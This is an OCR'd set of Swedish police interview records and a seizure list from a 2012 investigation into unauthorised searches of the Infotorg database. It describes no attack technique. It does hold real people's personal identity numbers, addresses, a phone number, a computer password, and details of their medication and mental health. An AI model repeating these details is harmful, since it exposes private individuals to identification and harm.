om. Det är inte något han är intresserad av. Jonas tror inte att någon i hans bekantskapskrets 
har någon kunskap eller kännedom om dataintrång. Han kan inte minnas att han pratat med 
någon om dataintrång. 

Angående nätverket hos Jonas pappa så är det hans pappa som har hand om det. De har något 
kombinerat Internet-tv-telefoniabonnemang från något som heter "LA Cabel" eller liknande. 
Jonas tror att företaget finns i Ludvika och att "LA" står för Ludvika. Lösenordet till det 
trådlösa nätverket kan Jonas bara minnas att han lämnat till en person, Tomas Gullberg född 
93-03-26. Tomas bor i Älvdalen. 

Jonas brukar på fritiden mest umgås med Hanna Millwertz och Dennis Lithander och de är 
också dessa som brukar kunna vara hemma hos Jonas. Senast han hade andra bekanta på 
besök var på nyårsaftonen då han hade fest och hälften av hans klasskamrater var där. Som 
Jonas minns det var det ingen som använda datorn vid detta tillfälle . 

Fredagen den 9 mars var Jonas på fest och sov sedan över hemma hos Hanna Millwertz. Han 
stannade kvar där och kom inte tillbaka till pappas lägenhet förrän vid 14-tiden på lördagen. 
Då han kom tillbaka till lägenheten kan hans syster, Julia Backe, och Rasmus Frost varit där. 
Jonas minns inte om han använde datorn på lördagen men han kan ha spelat Xbox. 

De telefoner som fanns i Jonas mammas bostad är inte använda på ett par år. Jonas minns inte 
om det finns något lösenord till dem. 

J onas känner inte igen namnet Rikard Eriksson. Det är inte någon han känner eller hört talas 
om. 

Relaterat till förhörsanteckningar och godkänt. 

Förhör avslutat klockan 09.20 

Förhör återupptaget 09 .50 

På fråga om han känner Stefan Nagy svarade Jonas att han och Stefan går i samma klass .  De 
går båda inriktningen högspänning/elkraft och umgås en del under skoltid. Privat umgås de 
inte. Jonas känner inte till Stefans datorkunskaper men tror att han ligger på ungefår samma 
nivå som Jonas gör. Jonas och Stefan pratar inte speciellt om datorer. De intressen de delar är 
bilar, hockey och fotboll. 

Enligt Jonas har Stefan haft problem med sin skoldator och flera gånger fått lämna in den på 
skolan för att få den åtgärdad. 

Stefan var hem till Jonas under kanske fem minuter då det var fest hemma hos Jonas på 
nyårsaftonen. De gånger de har träffats privat har det varit för att Stefan är tillsammans med 

56 1 



Förhör med Backe , Per Jonas Wi lhelm ;  201 2-03-30 08:30 d iarienr: 020 1 -K8 1 864- 1 2 

Elin Andersson, född -92 och boendes i Smedjebacken, som är en kamrat till Jonas. 

Relaterat till förhörsanteckningar och godkänt. 
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Polismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Bergström, Lisa Viktoria Theres 

Den hörde är I D  styrkt 

Misstänkt Nej 
Tolk 

Brottsmisstanke l Anledning till förhöret 

Förhör 

Dataintrång alt medhjälp till dataintrång 20 1 20225- idag 

Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 99 1 0506- 1 3 04 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas Försvarare/ombud närvarande 

Förhörsledare 

Linda Cederholm 
Förhörsplats 

Arresten Borlänge 
Förhörsvittne 

Berättelse 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 12-04- 1 5  09 :00 09:26 
Typ a v  förhör Förhörssätt 

RB 24 : 8  
Utskrivet av 
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Fhl: Då rullar bandet. Då är det ett 24 : 8  förhör i K8 1 864 för 1 2  och 
förhörsledare är Linda Cederholm och Ulf Malm. Vi är uppe på arresten då 
hos polisen i Borlänge, dalarna län och det är vad heter det, 20 1 204 1 5  och 
klockan är 09.00. Och då hålls det förhör med Lisa Bergström, född 
1 99 1 0506- 1 3 04.  Och eh Lisa, då är det så att jag ska berätta för dig, informera 
dig om att du är eh misstänkt för brott och då är det så här att du är misstänkt 
för ett dataintrång alternativt medhjälp till dataintrång fr.o.m. 25 februari 20 1 2  
t .o .m. idag. Eh det här intrånget har skett vid flera tillfållen via Internet i 
databas som tillhör Logica och innehåller information som används av ett 
flertal myndigheter då, bland annat personuppgifter. Eh, det här intrånget ska 
ha skett vid flera tillfållen via Internet genom olovlig anslutning och sökning i 
Infotorgs databas . Och det är så här, när man är misstänkt för ett brott så har 
man rätt att ha en advokat. Vill du ha det eller vill du att vi fortsätter med 
förhöret? 

LB : det går bra, att fortsätta. 

Fhl : Vi fortsätter förhöret, mmm. Då skulle jag vilja  att du eh berättar för mig 
hur du tänker kring det här. 

LB : Jag har inte gjort nånting. Jag vet inte ens hur man gör såna där saker, så 
ja, jag har inte gjort nånting alls .  

Fhl : . . .  

LB : Ja, det är väl det jag har att säga. 

Fhl : Mmm, vad vet du om det här då? 

LB : Neej ,  jag vet ingenting. (Lång paus) 

Fhl : Mmm 

LB : Jag . . . . Alltså, jag kan ingenting om datorer eller nånting sånt alls .  

Fhl : Nej 

LB : Ja 

Fhl : Var bor du nånstans? 

LB : Jag bor hos, eller . . .  jag är skriven hos min mamma. Hon bor i Ludvika. 

Fhl : Just det 

LB : Ja 
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Fhl : Och var var du nu i morse nånstans då? 

LB : Hos min pojkvän. 

Fhl : Mmm 

LB : mmm 

Fhl: Vilka var ni som var hemma då när polisen kom? 

LB : Det var jag och min pojkvän. 

Fhl : okey, har du någon data hemma? 

LB : Ehh . . .  Ja, jag har en dator. 

Fhl : Hur brukar du göra då när du håller när . . . . ? 

LB : Nä jag brukar bara sitta på Facebook bland annat, så . . .  ja, sitta på 
Facebook å MSN. 

Fhl : Mmm, sitter du vid nån annan dator? 

LB : Nej ,  jag sitter vid min dator. 

Fhl : Hur tänker du kring det här då? 

LB : Ja . . .  Jag vet ju . . . . Jag vet ju att min pojkvän brukar hacka ganska mycket, 
men ja alltså jag är inte inblandad i det utan det är han som gör det. 

Fhl : Hur, hur menar du då? 

LB : Ja, alltså jag vet ju att han sitter och hackar, alltså vid sin dator. Men jag, 
alltså jag kan ju ingenting om sånt och jag är inte ens intresserad av vad han 
gör. 

Fhl : "Hackar" , vad är det då? 

LB : Ja, men hackar sig in på olika nätverk och . . .  ja, sånt. 

Fhl : Är han duktigare än vad du är med datorn? 

LB : Ja, han är mycket duktigare. Han, han kan jättemycket, men jag kan 
ingenting om det. Å jag är alltså, jag är inte ens intresserad av vad han gör. 
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Fhl: Känner du många som är duktiga på datorer? 

LB : Näe, jag känner bara till min pojkvän. 

Fhl : Hur kommer det sig att han är duktig på det då, tänker du? 

LB : Näe, men han har, han har hållt på med det ända sen han har vart liten. Så 
det är väl hans intresse liksom. 

Fhl : Vad har du för intressen? 

LB : Eh, jag är utbildad frisör, så jag klipper ganska mycket. 

Fhl : Mmm 

LB : Så det . . .  ja, det tycker jag är kul. 

Fhl : Mmm, och vad har . . . . Din pojkvän, vad heter han? 

LB : Mattias . 

Fhl : Vad har Mattias för intressen? 

LB : Ja men det är ja, data. 

Fhl : Vilka delar du ditt intresse med då? 

LB : Jaa, det är väl vänner och släktingar och så där. 

Fhl : Mmm, är Mattias inte intresserad av frisör? 

LB : Nej ,  han är inte intresserad av hår så som jag är. 

Fhl : Mmm, vem delar han sitt dataintresse med? 

LB : Ja, det är väl . . .  , det är väl han själv och sen han har väl . . .  j a, kompisar 
genom nätet och så där. 

Fhl : Är det några du har träffat? 

LB : Neej ,  jag har inte träffat några. 

Fhl : Mmm, hur kommer det sig att du vet att han "hackar" då, som du sa? 
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LB : Näe, men han har väl berättat lite om det, men . . .  eller han försöker väl 
berätta om det, men jag är inte . . .  eh, alltså ett dugg intresserad, så jag lyssnar 
inte så mycket heller. 

Fhl : Vad har han berättat för dig? 

LB : Jaa . . .  Näe, han har väl inte berättat nåt speciellt eftersom han inte 
vet . . . . eftersom han vet att jag inte är intresserad. 

Fhl : Jag tänkte, Lisa, har han berättat nånting om att, att han är orolig att 
polisen ska komma eller . . .  ? 

LB : Näe, jag har inte hört nånting sånt. Han säger ju att allt att allt han gör är 
liksom krypterat, som han uttalar det. Ja . . .  

Fhl : Vad sa du att det heter? 

LB : Krypterat. 

Fhl : Vad betyder det? 

LB : Ja, men så att det liksom . . .  vad ska man säga? Alltså är hemligt på datorn 
eller . . .  ja .  Det är väl . . . . Det är väl det han har sagt. Å sen, det här 
med . . .  ohörbart . . .  , han har ju inte berättat för mig, alltså vad han sitter och gör. 
För han vet ju att jag lyssnar ju inte . 

Fhl : Okej . Får du nånsin möj lighet och sitta vid datarr eller är det han som 
sitter vid din dator? 

LB : Näe, alltså jag sitter ju vid min dator, men jag sitter bara på Facebook och 
MSN och pratar med kompisar. Jag gör ju liksom ingenting speciellt på 
datorn. 

Fhl : Okej . Vilken dator sitter han vid då? 

LB : Han har ju, han har ju en egen dator 

Fhl : jaha 

LB : och jag har en egen dator. 

Fhl : Okej . Jobbar du? 

LB : Neej ,  jag är sjukskriven. 

Fhl : Du är sjukskriven. 
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LB : Jaa. 

Fhl : Och Mattias, j obbar han? 

LB : Eh näe, han är också sjukskriven. 

Fhl : han är också sjukskriven. 

LB : Jaa. 

Fhl : Berätta för mig, om jag förstod rätt, att du sitter vid datorn lite på 
kvällarna. 

LB : Ja, eller om jag kollar på TV. Jag sitter inte jämt vid datorn. 

Fhl : Nej , och att du delar hårintresset. . .ohörbart . . .  vänner 

LB : Jaa, precis. 

Fhl : Vad gör, vad gör Mattias på dagarna? 

LB : Näe, han sitt . .  . inge speciellt, han sitter väl vid sin dator och . . . . Ja, vi sitter 
ganska mycket hemma och vi gör inte så mycke . . .  

Fhl : Mmm, eh, hur många datorer har ni, sa du? 

LB : Eh, just nu har vi tre hemma, tror jag, eller . . . . Han han håller på att 
bygger laptops så han har massa delar. 

Fhl : Han kan bygga ihop en dator alltså? 

LB : Ja, med olika delar, men vi har tre stycken som fungerar. 

Fhl : Okej . Är det bärbara datorer eller . . .  ? 

LB : Jaa, det är bärbara, bara bärbara. 

Fhl : bara bärbara, . . .  ohörbart . . .  hur länge har ni varit ihop? 

LB : Vi har varit tillsammans över två år, och ibland har vi väl haft tio st 
hemma. J a, det är ju hans intresse. 

Fhl : Mmm, jag tänker, vilka vänner umgås han med då? 
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LB : Jaa, vi umgås inte så mycket med folk. Vi har väl en gemensam vän som 
heter Robin som vi brukar umgås med. 

Fhl : Robin . . .  ? 

LB : Efternamn? 

Fhl : Ja. 

LB : Eh Robin Åström, men han kan ingenting om datorer, så han är inte . . . . 

Fhl : Okej , mmm. Jag tänkte, ditt lösenord 

LB : ja 

Fhl : till din dator. 

LB : Mmm 

Fhl : Hur, hur stavar man det? 

LB : fittjuv. 

Fhl : J-U-V? 

LB : Ja. 

Fhl : Okej , just det, Är du . . .  ? Kan du berätta för mig vad ni har för 
abborrement , alltså eller vad ni har för . . .  ? 

LB : Eh menar du till Internet 

Fhl : Jaa. 

LB : Eh, jag tror . . .  , jag vet inte riktigt det är . . .  , det är Mattias som har koll på 
det där, men jag vet inte . . .  ohörbart . . .  j ag har hört nåt banhoff eller nåt sånt 
där. 

Fhl : Vad sa du? 

LB : Banhoff tror jag det heter, fast jag vet inte om det har med det och göra, 
men jag vet att jag har hört, . . . . ja, hört det. 

Fhl : Okej . 

LB : Fast jag vet inte om det är just själva bredbandet, det har jag ingen koll på. 
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Fhl : Nej ,  okej . Vet du vad ni har för typ av uppkoppling då, om ni, om ni har 
nån sån direktuppkoppling eller om ni . . .  ? 

LB : Vi har nog trådlöst nätverk, tror jag. 

Fhl : Vad sa du nu? 

LB : Trådlöst nätverk, fast ja, jag vet inte . . . . ja  jag kan ju som sagt jag kan 
ingenting om datorer och så där, så jag vet inte riktigt. Ja . . .  

Fhl : Ja, det är bra att du förklarar för mig . . .  

LB : Jo . . .  

Fhl : . . .  för jag kan inte heller. 

LB : Nej , som sagt, jag är vet . . . .  Alltså det är han som har all koll på det där. 

Fhl : Mmm, eh, har ni ofta besök då som kommer och hälsar på er? 

LB : Näe, inte speciellt ofta. 

Fhl : Du nämnde en, Robin. 

LB : Jaa. Han brukar vi väl umgås med, ibland. Fast han, som jag vet, så kan 
inte han heller nånting om datorer. 

Fhl : Okej . Jag tänkte höra, umgås ni med några i närområdet där ni bor? 

LB : Ehh . . .  Robban bor väl ganska nära. 

Fhl : Ja, var bor han då? 

LB : Han bor på Kolbottenvägen, heter det. 

Fhl : Kolbottenvägen. 

LB : Jaa, i Ludvika. 

Fhl : Mmm 

LB : Så det . . .  , det är väl, det är väl han. Annars så umgås vi inte så speciellt 
med så många andra. 

Fhl : Mmm, just det, hur känner du Backe? 

570 



24 :8 förhör med Lisa , 201 2-04-1 5 09:00 d iarienr :  020 1 -K8 1 864- 1 2 

LB : Backe? ! 

Fhl : Jaa. 

LB : Har aldrig hört namnet. 

Fhl : Mmm, okej . Någon Gustafsson? 

LB : Gust . . . . Mattias heter ju Gustafsson i efternamn. 

Fhl : Känner du nån fler Gustafsson? 

LB : Näe, det är bara Mattias . 

Fhl : Va vad heter Wikström i förnamn? 

LB : Vikström . . . . Det är inga jag känner igen. Alltså, jag måste bara säga det 
att, alltså . . .  , det känns . . . . Alltså, jag är riktigt förbannad på Mattias, att . . .  på 
grund av om han har gjort massa skit på datorn, att jag ska få sitta här ! Det 
måste jag säga bara, för jag har ingenting med det här att göra ! Jag tycker 
alltså att han har liksom . . .  ja  fått mig i den här situationen, det gör mig väldigt 
förbannad nu känner jag !  

Fhl : Mmm 

LB : För jag vet . . . .  Alltså, jag vet inte ens . . .  alltså, jag vet ingenting om det här. 

Fhl : Jag vill höra, Yassin, Yassin, Yassin? 

LB : (suckar) Det är inget namn jag känner till alls .  

Fhl : Jag skulle vilja, Lisa, att om du om du funderar vad han . . . . Du sa till mig 
tidigare att han har berättat för dig sakerna som du inte . . .  , som ni inte har 
pratat om . . .  ohörbart . . .  

LB : Jaa. 

Fhl : Du kan väl försöka tänka efter vad det kan ha varit han har berättat för 
dig? 

LB : Eh alltså, jag har inte lyssnat, så j ag vet inte . (Lång tystnad) Jag har inte 
snappat upp nånting av vad han har sagt. 

Fhl : Hur träffades du och Mattias? 
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LB : Jaa, det var väl genom kompis, s å  var det p å  nån fest har jag för mig. 

Fhl : Hur länge har du ni bott tillsammans då? 

LB : Alltså som sagt jag är ju skriven hos min mamma, så jag bor ju egentligen 
där men det har väl vart . . .  , jag har väl vart där ganska mycket det sista året. 

Fhl : Mmm, jag tänkte, du sa . . .  , du berättade ditt lösenord i din dator . . .  

LB : Jaa. 

Fhl : fittjuv. 

LB : Ja. 

Fhl : Och att du brukar sitta vid din dator på kvällarna. 

LB : Ja. 

Fhl : Brukar Mattias låna din dator ibland? 

LB : Ja, han har väl gjort det nån gång så där, men det har han väl. 

Fhl : Hur kommer han in i din dator då? 

LB : Han vet ju mitt lösenord. 

Fhl : Är det nån annan som vet ditt lösenord? 

LB : Ehh . . .  Robin vet väl mitt lösenord t. ex. 

Fhl : Hur kommer det sig att han vet det då? 

LB : Nämen därför att när han är här på besök hos oss, så brukar han låna min 
dator. Så då har jag sagt det till han. 

Fhl : Är Robin en vän både till dig och till Mattias? 

LB : Jaa, precis. Jag skulle nog vilja  ha en advokat, känner jag !  

Fhl : Ja, då bryter vi förhöret och klockan är 09. 1 6 . 

Fhl : Då fortsätter vi förhöret, samma plats , samma datum, klockan har blivit 
09.20. Eh det var bara några minuter sedan vi stängde av bandet och då är det så 
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att . . .  ja, du Lisa, eh du ville att vi skulle fortsätta förhöret utan advokat. 
Stämmer det? 

LB : Ja. 

Fhl : Men du vet att du har möj lighet att ha en advokat närvarande och att du 
säger till om du vill det. 

LB : Mm . . .  

Fhl : Okej ?  

LB : . . .  

Fhl : Okej ?  

LB : Mm . . .  

Fhl : Bra ! Eh vi pratade j u  om Robin. 

LB : Mm . . .  

Fhl : Och hur, hur var det med Robin nu, han fick låna . . .  ? 

LB : Ja, han . . .  ohörbart . . . . . .  , lånar min dator när han är hos oss.  

Fhl : Mmm får han låna Mattias dator? 

LB : Ja, det har väl fått nån gång ibland. 

Fhl : Mmm, hur ofta är Robbin hemma hos er? 

LB : Tja, det är väl några gånger i veckan. 

Fhl : Har han tjej? 

LB : Jaa. 

Fhl : Har du träffat tjejen? 

LB : Jaa, jag har klippt henne. 

Fhl : Jaha. Vilka datorer brukar du sitta vid? 

LB : Det är bara vid min dator. 
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Fhl : Mmm, du nämnde nåt, nåt, nåt ord, Lisa, "Bau . . .  " , vad sa du för nåt? 

LB : Banhoff. 

Fhl : Vad är det? 

LB : Jag tror, jag tror det är bredbandet vi har, alltså det bolaget. Alltså jag 
skulle jättegärna vilja  ringa till min mamma. 

Fhl : Mm . . .  

LB : känner jag 

Fhl : Mmm, jag måste prata med med åklagaren om det, för det är han som 
bestämmer 

LB : Mm . . .  

Fhl : . . .  Eh vilka du får om du får ta kontakt med någon nu, och i s å  fall om du 
får ta kontakt med din mamma. Har du några frågor till mig? 

LB : Neej .  

Fhl : D å  frågar jag Ulf, kollegan, om han har några frågor? 

Bfhl: Mm . . .  Jag har några. Din dator, vad är det för märke på den då, fabrikat 
och var finns datorn? 

LB : IBM och den finns . . .  ja, i vardagsrummet hemma. 

Bfhl: Och hemma, är det hemma hos Mattias eller hemma hos mam . . . . ? 

LB : Jaa, det är hemma hos Mattias . 

Bfhl: Har du nån dator hemma hos din mamma? 

LB : Neej .  

Bfhl: Och äter Mattias nån medicin? 

LB : Jaa, han får antidepressiv och för lugnande. 

Bfhl: Okej . Är han . . . . Har han depressioner och så? 

LB : Jaa, sen har han ju sin ADHD också som han får medicin emot. 
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Bfhl:  Okej . Jaha . . .  Nej , tack! D å  har jag inga fler. 

Fhl : Lisa, har du . . .  , äter du nån medicin? 

LB : Jag äter också antidepressiva och lugnande. 

Fhl : Hur kommer det sig att du äter det? 

LB : Det är för att jag har vart . . .  mått dåligt ända sen jag var tolv - tretton år och 
gått, ja på psykiatrin och . . . . 

Fhl : Mmm 

Bfhl: Har du medicin med dig hit nu? 

LB : Nej ! 

Bfhl: Nehej . Hur ofta tar du den då? 

LB : Dagligen. 

Bfhl: O key. Ska du ta nu på morgon . . .  ohörbart . . .  ? 

LB : Ja, egentligen skulle jag behövt göra det. 

Bfhl: Känner du att du behöver det nu då eller . . .  ? 

LB : Ja, jag vet inte hur det blir om jag inte tar den. 

Fhl : Vad är det för medicin du tar? 

LB : Zymbolta heter den. Den är mot anti, antidepressiv. 

Fhl : Okey 

Bfhl: Äter ni samma medicin då Mattias och du? 

LB : Nej . Det är nån lugnande samma, men inte samma antidepressiv. 
Hur . . .  Hur hur snabbt går det och kolla upp om jag får ringa till mamma? 

Fhl : Jag ska kolla upp det när vi när vi har 

LB : . .  Ohörbar . . .  tar det flera timmar eller 

Fhl : Nej jag ska kolla upp det. 
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LB : Jaha 

Fhl : Jag tänkte bara, vad har du för mobiltelefon? 

LB : Eh jag vet inte . . . . CTE är märket. 

Fhl : Okej . Är det en Smartphone? 

LB : Ja, det är en sån här man klickar på eller vad heter det? Ja, men som en 
Iphon. 

Fhl : Har man uppkoppling till nätet på den? 

LB : Ja, det kan man ha fast jag sitter aldrig vid nätet på den. 

Fhl : Vad är det för telefonnummer till din mobil? 

LB : Jag kan inte det för jag har nyss bytt. 

Fhl : Okej . Vad hade du får nummer på den gamla då? 

LB : Ehh . . .  (funderar) . . .  Jag minns faktiskt inte riktigt. 

Fhl : Har Mattias nån telefon? 

LB : Jaa. 

Fhl : Vad är det för nummer till den? 

LB : Det kan jag inte, har inte lärt mig det heller. 

Fhl : Hur kommer det sig då? 

LB : Ja för att jag har ju det liksom jag har ju det inne i mobilen så jag behöver 
ju liksom aldrig kolla, kolla numret. 

Fhl : okey 

LB : Men som sagt jag skulle . . .  ohörbart . . .  om ni kan kolla upp ganska snart om 
jag får ringa eller för jag känner jag skulle behöva det. 

Fhl : Mm . . .  

LB : Ja 

Bfhl:  Vad har du för telefonnummer till henne då, hon . . .  ohörbart . . .  ? 
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LB : Eh 073 -8 1 95874.  

Fhl : Just det. Du har ju ett lösenord till din dator, har Mattias lösenord till sin? 

LB : Jaa, fast jag kan inte de. 

Fhl : Vad är det du inte kan? 

LB : Hans lösenord, men jag vet att han har lösenord. 

Fhl : Har han int . . . .  Vad sa du nu? 

LB : Jag vet att han har lösenord i datorn, men jag kan inte lösenordet. 

Fhl : Okey, vad har han för typ av telefon då? 

LB : Ja, han har . . .  ohörbart . . .  Sony Ericsson Experia eller vad det heter. 

Fhl : Har, är det något lösenord till den telefonen, pinkod? 

LB : Eh ja, jag vet faktiskt inte . 

Fhl : Nehej . Ja, men då så, då avslutar vi förhör nu och klockan är 09.26. 
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Polismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Bergström, Lisa Viktoria Theres 

Den hörde är ID  styrkt 

Misstänkt Nej 
Tolk 

Brottsmisstanke l Anledning t i l l  förhöret 

Tidigare delgiven misstanke gäller. 
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Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 99 1 0506- 1 3 04 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja Ja 
Försvarare/ombud önskas Försvarare/ombud närvarande 

Förhörsledare 

Linda Cederholm 
Förhörsplats 

Arresten Polisstationen Borlänge 
Förhörsvittne 

Berättelse 

Önskar ingen advokat närvarande vid detta förhör. 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 12-04- 1 5  1 1 :2 1  1 1 :46 
Typ a v  förhör Förhörssätt 

RB 23 :6  
Utskrivet av 

Lisas dator är en IBM, hon vet inte märket på Mathias dator men hon tror att det är en LG 
men är inte säker. Mathias lånar hennes dator i bland, hon lånar inte hans dator, hon kanske 
har lånat hans dator någon gång men det är ingenting som brukar hända. 

Andra som lånat Lisas dator är Robbin Åström, han är den enda. Robbin och Mathias kan 
hennes lösenord. Det är inga andra som kan hennes lösenord. 

Det är ingen som brukar låna Mathias dator, det kan ha hänt att Robbin har lånat den. Lisa 
kommer inte i håg att hon sett att Robbin lånat Mathias dator men säger att hon tror att det 
kan ha hänt. 

Lisa har inte använt Mathias telefon. Mathias har inte använt hennes.  

Lisa kan inte Mathias lösenord till hans datorn. 

De har för tillfället tre datorer som är hemma och som är hela. Den tredje  är en dator som 
Lisas mamma kom med för att det har varit strul med Lisas egna, så den tredje  datorn skulle 
Lisa låna. Den tredje  datorn är silvrig men Lisa vet inte vad det är för märke på den. 

Lisa vet ingenting om att det är gjorts slagningar på henne och hennes bror, det vet hon 
ingenting om, hon har ingen aning om hur man gör det ens, hon är inte inblandad. 

Om Mathias datorkunskaper säger Lisa att hon vet att han kan hacka sig in på andra nätverk 
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och så där, trådlösa nätverk som finns i området som han kommer åt. Lisa vet inte hur han 
gör, han har pratat om det men Lisa är inte intresserad så hon har inte lyssnat. Lisa kommer 
inte ihåg någonting som han sagt om det. 

På frågan varför han skulle vilja  använda andras nätverk svarade Lisa att det har hon ingen 
aning om, att hon inte vet någonting om det där som sagt. 

Mathias använder inte hennes telefon, han har inte använt den vad hon minns. Det ska vara 
om hon velat ha hjälp med någonting men det tror hon inte. Lisa har en CTE, den har hon 
haft runt ett år. Hon kan inte numret för att hon ganska nyligen bytt nummer, för några 
månader sedan, hon bytte nummer för att hon satt på ett behandligshem för ett tag sedan där 
telenor hade bästa täckningen. Hennes tidigare nummer kommer hon inte i håg, det var ett tag 
sedan. 

Mathias har en Sony Ericsson experia, Lisa har inte använt den någongång. 

Robbin har använt Lisas dator när hon inte varit hemma, när han varit på besök och velat göra 
något på Internet då har han lånat hennes dator. 

På frågan hur Robbins datakunskap är säger Lisa att han inte alls är lika duktig som Mathias 
och att hon inte ens vet om han är duktig alls på det sättet. 

Robbin är hemma hos dem några gånger i veckan. 

På frågan om Robbin använt Mathias dator säger Lisa att hon inte vet om han gjort det, att 
han mest använder hennes eftersom hon inte sitter vid datorn så mycket. 

Lisa sitter på facebook, msn och laddar i bland ner någon film och kollar på web tv. 

På frågan hur ofta Mathias sitter vid datorn svarade Lisa att det är ett par timmar om dagen, 
på frågan inte mer svarade Lisa flera timmar om dagen, större delen av dagen. 

Uppläst och godkänt 
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Polismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Bergström, Lisa Viktoria Theres 

Den hörde är Sätt 

Förhör 

Misstänkt 
ID Styrkt 

Ja Känd av krinsp Ulf Malm 

sedan tidigare kontakt 
Tolk 

Brottsmisstanke l Anledning t i l l  förhöret 

Kompletterande förhör och beslagsförhör 

Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 99 1 0506- 1 304 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud önskas Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsledare Förhörsdatum Förhör påbörjat Förhör avslutat 

Bengt Rehnberg 20 1 2-05- 1 1  1 1 :00 
Förhörsplats Typ av förhör Förhörssätt 

Polishuset i Ludvika RB 23 : 6  
Förhörsvittne Utskrivet av 

Berättelse 

Förhöret hålls på polisstationen i Ludvika. Närvarande förutom den hörde och förhörsledaren 
är den hördes far, Tommy Bergström och kriminalinspektör Ulf Malm från 
Länskriminalpolisen i Stockholm. 

Förhöret börjar med att vi går igenom de beslag som togs i samband med ingripandet i den 
hördes bostad på Timmermansvägen 14 I i Ludvika. 

Beslagsnummer är 20 1 2-020 1 -BG l 022 1 

P l ,  WiFi antenn ( l  st) . 

Den tillhör Mathias. Lisa säger att hon i stort sett inte har några kunskaper om data alls . Ej 
anspråk från hennes sida. 

P2, Sim-kort ( l  st) . 

Tillhör Mathias . Lisa säger att Mathias har många sim-kort. Han har haft för vana att skicka 
efter sim-kort som kan vara bra att ha om man vill byta nummer. De är gratis .  De flesta är 
oanvända. Ej anspråk från Lisas sida. 

P3 , Cd-skiva ( 1 7  st) 

Måste tillhöra Mathias, ej anspråk från Lisas sida. 
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P4, Ipod nano ( l  st) 

Tillhör Lisa. Lisa säger att hon har fått den av sin mamma. Lisa gör anspråk på den. 

P5,  Ipod nano ( l  st) 

Tillhör Lisas bror som hon har fått låna av. Anspråk. 

P6, Kuvert (Telenor kontant kuvert med sim-kortsram) 

Tillhör förmodligen Mathias, ej anspråk från Lisas sida. 

P7, Pärm (diverse papper och kontantkortskuvert) 

Tillhör inte Lisa, förmodligen Mathias, Ett brev som ligger i pärmen tillhör Lisa ej anspråk 
från Lisas sida förutom brevet som är hennes .  

P8 ,  Pärm (diverse datorpapper) 

Mathias pärm, ej anspråk från Lisas sida. 

P9, Minn eskort. 

Tillhör Mathias, ej anspråk 

P l O, Minneskort 

Tillhör Mathias, ej anspråk 

P 1 1 , Hårddisk 

Tillhör Mathias, ej anspråk. Har inte använts av Lisa. 

P l 2, Digital-Tv box. 

Tillhör Mathias, ej anspråk. 

P 1 3 ,  Minn eskort. 

Tillhör Mathias, ej anspråk. 

P l 4, Dator, IBM. 

Tillhör Mathias, ej anspråk. 

P l 5 , Dator, IBM. 

Tillhör Mathias, ej anspråk. 

P l 6, Dator, HP 

Tillhör Lisas Mamma. Lisa har fått låna den av sin mamma. Hon fick den några dagar innan 
polisen kom och gjorde tillslaget. Lisa har inte hunnit använda den och hon tror inte att 
Mathias har använt den heller. Lisa gör anspråk för sin mammas räkning. 

58 1 



Förhör med Bergström,  Lisa Viktoria Theres; 201 2-05- 1 1 1 1 :00 d iarienr :  020 1 -K8 1 864- 1 2  

P 1 7, Dator, LG Electronics .  

Tillhör inte Lisa. Det kan vara Mathias syster som äger datorn. Det är något fel på datorn som 
Mathias skulle fixa åt system. Ej anspråk. 

P 1 8 , Minneskort 

Tillhör Mathias, ej anspråk. 

P 1 9, Dator, IBM. 

Tillhör Lisa, anspråk. 

P20, VISA-kort och körkort (utställt på Laitinen) 

Lisa har sett dessa kort vid något tillfålle i lägenheten. Hon har inget med dessa att göra. Hon 
tror att Robin Åström (en granne och kompis) kan ha haft med sig dessa till lägenheten och 
lämnat dem där. Hon vet inte varför. Ej anspråk. 

P2 1 ,  Kort, (Svenska spel namnet Engvall) 

Lisa säger att det tillhör Joakim Engvall. Envall är en kompis till Lisa och Mathias . Han har 
troligen glömt det hos dem vid något tillfålle. Ej anspråk. 

P22, Kort (förmodat hem tillverkat VISA kort) 

Lisa är osäker på om hon har sett detta kort tidigare, kanske säger hon. Hon har aldrig sett att 
Mathias har tillverkat något kort. Ej anspråk. 

P23 , Kort (40 st blanka plastkort med magnetremsa) 

Lisa tror att Mathias har beställt dessa kort från Kina. Hon vet inte vad han skulle ha dem till . 
Ej anspråk. 

P24, Kortläsare/skrivare för magnetremsekort. 

Lisa har ett svagt minne av att Mathias beställt från Kina. Mathias har beställt en massa saker, 
dataprylar från Kina. Ej anspråk. 

P25,  Mobiltelefon, Sony Ericsson Xperia. 

Tillhör Mathias, ej anspråk. 

P26, Hårddisk (extern) 

Tillhör Mathias, ej anspråk. 

P27, Switch. 

Tillhör Mathias . Lisa vet ej vad en switch är och vad man skall använda den till . Ej anspråk. 

P28,  Dockningsstation. 
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Tillhör Mathias, ej anspråk. 

P29, dator, HP. 

Lisa vet inte vems dator det är. Kan vara någon som lämnat den till Mathias för att han skall 
laga den. Ej anspråk. 

P30, kortläsare/skrivare för magnetremsekort. 

Tillhör Mathias, ej anspråk. 

P3 1 ,  undersida till dator. 

Trasiga datordelar som tillhör Mathias, ej anspråk. 

P32, datorchassi, Acer. 

Tillhör inte Lisa, har inte sett den tidigare, ej anspråk. 

P33 ,  undersida dator, IBM. 

Tillhör Mathias, trasiga datordelar, ej anspråk. 

